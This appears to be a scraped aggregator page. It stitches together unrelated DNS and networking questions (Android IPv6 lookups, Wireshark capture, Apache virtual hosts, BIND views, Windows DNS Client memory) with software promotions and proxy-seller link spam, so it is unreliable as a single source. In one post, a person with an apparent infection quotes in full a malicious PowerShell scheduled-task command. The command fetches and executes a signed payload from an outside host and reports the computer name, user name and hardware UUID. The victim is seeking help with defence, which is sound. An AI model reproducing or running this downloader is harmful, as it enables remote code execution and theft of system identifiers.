Android won’t query DNS server for IPv6 addresses, why?

I have a weird issue; for a single connect request to a server that has a single AAAA record my device runs two A queries instead and fails to connect.

My setup is as follows:

  • LAN (a regular router) without IPv6 connectivity
  • Android 10 with only WiFi connectivity, having one fe80: and two fd14: addresses
  • Debian box, wired, running dnsmasq, acting as the DNS server for all devices
  • dnsmasq will reply that website foo.com has an IPv6 of the Debian box, and no IPv4

I can:

  • Connect from my phone to the Debian box using literal IPv6 address
  • Connect from other devices to foo.com
  • Connect to foo.com from JuiceSSH
  • Do ping6 foo.com successfully in Termux on the phone

What I can’t do, I can’t connect from my phone to the Debian box via foo.com using regular apps such as Chrome, or my own app. JuiceSSH is the weird exception. I tried making a new app, adding INTERNET permission and this bit of code only:

thread {
    Socket("foo.com", 9000)
}

This works consistently with the apps such as Chrome in that it doesn’t connect and—from what I see in dsmasq logs—performs two A queries (both with NODATA-IPv4 response). It never performs an AAAA query. Inet*Address.getAllByName() behaves in a similar way. I tested with another device running Android 6, same outcome.

What’s going on here?

New cPanel Extended For WHMCS with DNS Zone Editor is ready! | NewProxyLists

1. Easter Hunt Winners Announced!

Are you excited about the grand finale of our Easter Discount Hunt just as much as we are?

With the holiday break over, we are thrilled to invite you to visit our Blog where the 6 lucky winners of our festive competition have been announced – check the results now and see if you snatched up an exclusive 25% discount applicable to all WHMCS modules offered at our Marketplace!

2. cPanel Extended For WHMCS 3.12.0

Our absolutely bestselling piece of software dedicated to all aspiring web hosting providers has just received another package of new features that may change just about everything. Ladies and gentlemen, let us show you around the spectacular cPanel Extended For WHMCS 3.12.0!

The most important addition guaranteed to steal your attention lies in DNS Zone Editor that unlocks so much new power to your clients as they will not have to login to cPanel at all in order to manage their DNS zones and records of cPanel domains.

Do not hesitate to consult the changelog for the rest of beneficial changes!

3. cPanel Extended For WHMCS is not the only module updated since last week. Ready to explore the other ones too?

Need Custom Software Development For Your Business?

Specially for you we will adapt an application and its design to your own needs, create a new module or even a completely new system built from scratch!

 

network – How to display all DNS queries using Wireshark?

I want to display all DNS queries originating from my macOS 11.2.3 system.

The issue is that neither Wireshark with a filter of dns nor sudo tcpdump port 53 show all DNS queries, besides DNS TXT queries for OpenDNS (and a few others), e.g.:

enter image description here

In particular, DNS A/AAAA queries are not displayed even thus I’ve issued several DNS A/AAAA queries manually (e.g. dig letspary.com and dig @81.167.36.12 letspary.com).

scutil --dns:

DNS configuration (for scoped queries)

resolver #1
  search domain(0) : home
  nameserver(0) : 81.167.36.12
  nameserver(1) : 81.167.36.5
  if_index : 6 (en0)
  flags    : Scoped, Request A records
  reach    : 0x00000002 (Reachable)

How can I display all DNS queries, including DNS A/AAAA queries?

dns – How can I get domain printer list (even not installed in system) using C#

I have tried below but it gives only installed printer and not all printers in domain

 ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_Printer");

foreach (ManagementObject printer in searcher.Get())
{
  if (Convert.ToBoolean(printer("Network")))     // ALL NETWORK PRINTERS.
  {
     Console.WriteLine(printer("Name").ToString().ToLower());
     Console.WriteLine(printer("Caption").ToString().ToLower());
     Console.WriteLine(printer("Local").ToString().ToLower());
  }
}

can someone please help me?

Thanks

dns – Wildcard redirects for some paths but not others in Google Domains

dns – Wildcard redirects for some paths but not others in Google Domains – Webmasters Stack Exchange

dns – Can I point a example.com/subdirectory to another IP address?

If you do not mind using a sub-domain, this is possible. You can redirect the directory to the sub-domain.

Otherwise, if you have your own network or your host can host a proxy server you would be able to proxy any request to any server however you like. It has been 12 years since I have done this, but we operated several proxy servers including reverse proxies that allowed us to create many URLs that appeared to exist on one domain and point them to many servers and implement a form of load balancing. As well, some services we offered were on different operating systems, application platforms, portals, CMS, application servers, and so on. Using proxies allowed about 200 servers to appear as one verbose website.

You do not have to get this complicated of course. But this is something you can look at for your needs. Research using Apache. Apache can do what you want and this is something your host should be able host easily or implement on your own network for a decent price. Also keep in mind that there are proxy servers both software and hardware that offer options. Apache is free however and works extremely well. Just be careful of the configuration or you will get 100,000+ proxy bounces from China per hour within seconds. But do not let that scare you! Just be thorough in your work and you should be fine.

virtualhost – Reverse DNS and Apache virtual host

In short: Apache’s VirtualHost doesn’t work as intended when the reverse DNS is enabled.

I’m managing a web service on a single CentOS server. It has a single IP address and multiple subdomains, and each subdomain has a different webroot setting by Apache’s VirtualHost configuration. The *.conf file is located under /etc/httpd/conf.d.

NameVirtualHost *:443

<VirtualHost *:443>
    ServerName any
    DocumentRoot /var/www/html
    # other configurations such as SSLCertificateFile, etc...
</VirtualHost>

<VirtualHost *:443>
    ServerName main-domain.com
    DocumentRoot /home/main-service/front
    # other configurations such as SSLCertificateFile, etc...
</VirtualHost>

<VirtualHost *:443>
    ServerName admin-domain.com
    DocumentRoot /home/main-service/admin
    # other configurations such as SSLCertificateFile, etc...
</VirtualHost>

# and so on...

The objective of this is to control incoming access like this:

  • access via IP address => /var/www/html (returns a simple text that says there is nothing)
  • access via main-domain.com => /home/main-service/front
  • access via admin-domain.com => /home/main-service/admin

Simple enough.

It had been working without any problem until I enable reverse DNS of this IP address to reduce the risk of treated as spam when the system sends emails. After the reverse DNS was enabled for the IP address and main-domain.com, access via main-domain.com is not referred to ServerName main-domain.com section anymore, and Apache refers to the default /etc/httpd/conf.d/ssl.conf file.

I guess some configuration’s priority issue here, but I couldn’t find any document explaining clearly about this. How can I make it work with the reverse DNS enabled?

Apache version is 2.2.

Powershell Scheduled tasks automatically being created and changing my DNS to 8.8.8.8 and 9.9.9.9

I have an issue with what I believe to be a virus. It is creating PowerShell scripts in TaskScheduler.
It appears to be running WMIC and powershell.
It creates a task with the following code:

-c function a($u){$d=(New-Object Net.WebClient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d(173..$c);$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=(convert)::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),(convert)::FromBase64String(-join((char())$d(0..171))))){Iex(-join(char())$b)}}}$url=’http://’+’t.pp6’+’r1.com’;a($url+’/a.jsp?rep_20210401?’+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join’*’))

It creates a randomly named file in the C:WindowsSystem32WindowsPowerShellv1.0 (same size and creation date as powershell.exe).

I have blocked the website it is trying to get to, and I have deleted several WMIC ‘autoruns’ but it keeps changing the DNS entries to 8.8.8.8 and 9.9.9.9.

I am replacing the affected computer, but was wondering if anyone could assist in making the above readable so I might be able to check other machines in the network for traces.

Or if it reveals any information that might prove useful.

Thanks in advance.

linux – DNS VIEW not working for any

I have configured a dns view configuration

view “local-lan” {

match-clients { 192.168.0.0/24 };

zone “localtesting.com” {

type master;

file “internal/internal.localtesting.com”;};};

view “any” {

match-clients { any };

zone “betatesting.com” {

type master;

file “external/betatesting.com”;

};

};

When i tried to access betatesting.com domain from 192.168.0.0/24 network server it matches with only local-lan view and returned NXDOMAIN. I hope it suppossed to match any if the zone is not present in local-lan. Anybody please give me some details on it.

domain name system – DNS Client excessive memory usage Windows Server 2019

We have a number of identical Windows Server 2019 systems and are noticing that on one particular server the DNS Client service sometimes starts using excessive amounts of memory. So far we’ve not been able to figure out what triggers it, nor how to clear it without rebooting the server. Normal usage is about 2MB. Once it starts “leaking”, it adds about 2MB every hour until we reboot the system.

enter image description here

ipconfig /displaydns shows just 8 entries, as expected. ipconfig /dnsflush and ipconfig /registerdns seem to have no effect. Apparently Windows does not allow restarting the DNS Client service any more, so a reboot is the only way we can resolve it currently.

System Details:

  • 3 physical Dell PowerEdge servers, each hosting 2 HyperVisor WS 2019 VMs
  • The servers host web services on a corporate network for internal use only
  • None of these servers are domain members or controllers
  • IPV6 is disabled
  • All of the servers are continually communicating with each other via HTTP

I’m wondering if it could have something to do with the fact that the systems use the corporate DCs for DHCP and DNS, but aren’t members? The DNS seems to work just fine though.

This question from 9 years ago is similar, but doesn’t seem to provide any resolution. Any ideas?

DreamProxies - Cheapest USA Elite Private Proxies 100 Private Proxies 200 Private Proxies 400 Private Proxies 1000 Private Proxies 2000 Private Proxies ExtraProxies.com - Buy Cheap Private Proxies Buy 50 Private Proxies Buy 100 Private Proxies Buy 200 Private Proxies Buy 500 Private Proxies Buy 1000 Private Proxies Buy 2000 Private Proxies ProxiesLive Proxies-free.com New Proxy Lists Every Day Proxies123